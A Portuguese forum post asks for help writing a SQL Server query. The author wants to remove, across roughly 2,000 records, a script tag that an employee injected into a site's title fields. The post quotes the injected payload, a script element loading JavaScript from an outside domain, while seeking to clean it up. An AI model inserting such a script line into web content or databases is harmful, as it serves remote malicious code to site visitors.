Apagar parte do conteúdo de vários campos
Pessoal, estou com um problema sério aqui pra resolver... Algum funcionário mal intencionado de uma empresa para onde faço um site entrou em nosso admin e alterou alguns campos, adicionando um script que direciona à um vírus. Como são milhares de arquivos registrados em nosso admin, seria um gasto de tempo enorme para retirar tal linha de script de um dos campos que contém o título do arquivo + a linha de código, pois onde estava só a linha de código consegui apagar tudo numa boa.
Então...
Quero saber se alguém pode me ajudar com uma linha de instrução SQL (estou no SQL Server2000, usando o Query Analyzer) que possa apagar parte do conteúdeo de um campo da tabela, mas mantendo uma parte. Por exemplo:
Tenho o campo ds_title com o conteúdo atual:
Stents e cirurgia não-cardíaca<script src=http://www.nihaorr1.com/1.js></script>
E quero que o conteúdo fique apenas:
Stents e cirurgia não-cardíaca
Só que se eu usar a seguinte instrução em cada campo, vou levar semanas pra terminar tudo:
update tb_text set ds_title='Stents e cirurgia não-cardíaca' where ds_title='Stents e cirurgia não-cardíaca<script src=http://www.nihaorr1.com/1.js></script>
Essa linha só permite ser utilizada em um campo por vez... Há um modo de executar uma instrução para alterar os mais de 2.000 cadastros de uma só vez, deletando apenas parte do campo (a parte <script* src=http://www.nihaorr1.com/1.js></script> - os ** são só para essa linha não dar problema aqui no fórum)???????
Quem ajudar vai salvar minha vida!!!!!! :wacko:
>
poste editado conforme regra n° 9
09ª Regra
É proíbido a abertura de tópicos com titulo: "ME AJUDE", "PELO AMOR DE DEUS", "ESTOU DESESPERADO", "URGENTE", "SOCORRO!", "HELP!", ou qualquer coisa similar, assim como utilizar Caixa Alta (letras todas em maiusculas) no titulo ou mesmo no corpo do tópico ou post. Utilize titulos curtos e claros, que condizem com sua dúvida. Os títulos, tópicos e posts serão editados e os membros advertidos por MP.
Discussão (5)
Carregando comentários...